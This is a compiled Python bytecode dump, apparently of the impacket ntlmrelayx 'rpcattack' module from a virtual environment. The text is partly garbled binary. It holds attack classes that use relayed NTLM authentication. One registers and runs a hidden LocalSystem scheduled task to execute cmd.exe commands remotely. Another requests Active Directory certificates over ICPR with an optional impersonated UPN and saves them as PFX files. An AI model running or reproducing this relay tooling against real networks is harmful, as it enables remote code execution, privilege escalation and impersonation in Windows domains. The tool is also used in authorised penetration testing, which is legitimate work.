o
    j[                     @   s   d dl Z d dlZd dlZd dlZd dlZd dlmZ d dlmZ d dl	m
Z
 d dlmZ d dlmZmZ d dlmZ d dlmZ d d	lmZ d d
lmZ dZg ZG dd dZG dd dZG dd deeZdS )    N)crypto)load_der_x509_certificate)default_backend)LOG)tschicpr)NULL)DCERPCSessionError)ProtocolAttack)
ADCSAttack	RPCAttackc                   @   s   e Zd Zdd Zdd ZdS )TSCHRPCAttackc                    s(   dddddd d  fdd	|D S )
Nz&amp;z&quot;z&apos;z&gt;z&lt;)&"'>< c                 3   s    | ]	}  ||V  qd S N)get).0creplace_table /root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/impacket/examples/ntlmrelayx/attacks/rpcattack.py	<genexpr>0   s    z,TSCHRPCAttack._xml_escape.<locals>.<genexpr>)join)selfdatar   r   r   _xml_escape(   s   zTSCHRPCAttack._xml_escapec                 C   s  d dd tdD }d}d| jj }td| jj| jf  d| || |f }td	|  t	| j
d
| |tjttj td|  d}t| j
d
|  |sxtd|  t| j
d
| }|d d dkrqd}ntd |rVtd|  t| j
d
|  td d S )Nr   c                 S   s   g | ]}t tjqS r   )randomchoicestringascii_letters)r   _r   r   r   
<listcomp>4   s    z&TSCHRPCAttack._run.<locals>.<listcomp>   zcmd.exez/C %sz-Executing command %s in no output mode via %sal  <?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <Triggers>
    <CalendarTrigger>
      <StartBoundary>2015-07-15T20:35:13.2757294</StartBoundary>
      <Enabled>true</Enabled>
      <ScheduleByDay>
        <DaysInterval>1</DaysInterval>
      </ScheduleByDay>
    </CalendarTrigger>
  </Triggers>
  <Principals>
    <Principal id="LocalSystem">
      <UserId>S-1-5-18</UserId>
      <RunLevel>HighestAvailable</RunLevel>
    </Principal>
  </Principals>
  <Settings>
    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
    <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
    <AllowHardTerminate>true</AllowHardTerminate>
    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
    <IdleSettings>
      <StopOnIdleEnd>true</StopOnIdleEnd>
      <RestartOnIdle>false</RestartOnIdle>
    </IdleSettings>
    <AllowStartOnDemand>true</AllowStartOnDemand>
    <Enabled>true</Enabled>
    <Hidden>true</Hidden>
    <RunOnlyIfIdle>false</RunOnlyIfIdle>
    <WakeToRun>false</WakeToRun>
    <ExecutionTimeLimit>P3D</ExecutionTimeLimit>
    <Priority>7</Priority>
  </Settings>
  <Actions Context="LocalSystem">
    <Exec>
      <Command>%s</Command>
      <Arguments>%s</Arguments>
    </Exec>
  </Actions>
</Task>
        zCreating task \%sz\%szRunning task \%sFz$Calling SchRpcGetLastRunInfo for \%spLastRuntimewYearr   T   zDeleting task \%sz
Completed!)r   rangeconfigcommandr   infostringbindingr    r   hSchRpcRegisterTaskdceTASK_CREATEr   TASK_LOGON_NONE
hSchRpcRundebughSchRpcGetLastRunInfotimesleephSchRpcDelete)r   tmpNamecmdargsxmldonerespr   r   r   _run2   s,   *,
zTSCHRPCAttack._runN)__name__
__module____qualname__r    r@   r   r   r   r   r   '   s    
r   c                   @   s   e Zd Zdd ZdS )ICPRRPCAttackc              
   C   s  t  }|t jd | jtv rtd| j  d S | jj	}|d u r,| j
dr*dnd}td| j|f  t|| j| jjt j}td d| g}| jjd ur[|d	| jj  td
 ztj| j||| jjd}W n4 ty } z(|jdkrtd|  n|jdkrtd|  ntd|  W Y d }~d S d }~ww t| j t|t d}t| jpt|pd}t| |}	tj | jj!d"|}
td|
  z0tj#| jj!st$| jj! t%|
d}|&|	 W d    n1 sw   Y  td W n& t'y. } ztd td|t()|	* f  W Y d }~nd }~ww | jjr@td"| jj d S d S )Ni   z3Skipping user %s since attack was already performed$MachineUserz,Generating a CSR for user %s and template %szCSR generated!zCertificateTemplate:%sz
SAN:upn=%szGetting certificate...)cal   W   z?Error occured while getting certificate: %s Check your CA name?l      zIError occured while getting certificate: %s Maybe encryption is enforced?z3Unknown error occured while getting certificate: %s)backendcertificatez{}.pfxz!Writing PKCS#12 certificate to %swbz(Certificate successfully written to filezSUnable to write certificate to file, printing B64 of certificate to console insteadz,Base64-encoded PKCS#12 certificate (%s): 
%sz/This certificate can also be used for user : {})+r   PKeygenerate_keyTYPE_RSAusernameELEVATEDr   r.   r,   templateendswithr5   r   generate_csraltNameFILETYPE_ASN1appendr   hCertServerRequestr1   icpr_ca_namer	   
error_codeerrorr   r   _sanitize_filename_extract_certificate_identitygenerate_pfxto_cryptography_keyospathr   lootdirformatisdirmkdiropenwrite	Exceptionbase64	b64encodedecode)r   keycurrent_templatecsr
attributesrJ   ecert_objpfx_filenamecertificate_storeoutput_pathfr   r   r   r@   }   s`   





	

zICPRRPCAttack._runN)rA   rB   rC   r@   r   r   r   r   rD   |   s    rD   c                   @   s$   e Zd ZdgZdddZdd ZdS )r   RPCNc                 C   s<   t | ||||| || _| | _| j | _|j| _d S r   )	r
   __init__r1   get_rpc_transportrpctransportget_stringbindingr/   rpc_modeendpoint)r   r,   r1   rO   targetrelay_clientr   r   r   rv      s
   
zRPCAttack.__init__c                 C   sR   | j dkr| jjd urt|  d S td d S | j dkr%t|  d S td)NTSCHzNo command provided to attackICPRzNot implemented!)	r{   r,   r-   r   r@   r   rZ   rD   NotImplementedError)r   r   r   r   run   s   

zRPCAttack.run)NN)rA   rB   rC   PLUGIN_NAMESrv   r   r   r   r   r   r      s    
)rh   r_   r7   r#   r!   OpenSSLr   cryptography.x509r   cryptography.hazmat.backendsr   impacketr   impacket.dcerpc.v5r   r   impacket.dcerpc.v5.dtypesr   impacket.dcerpc.v5.icprr	   $impacket.examples.ntlmrelayx.attacksr
   ;impacket.examples.ntlmrelayx.attacks.httpattacks.adcsattackr   PROTOCOL_ATTACK_CLASSrP   r   rD   r   r   r   r   r   <module>   s&   U8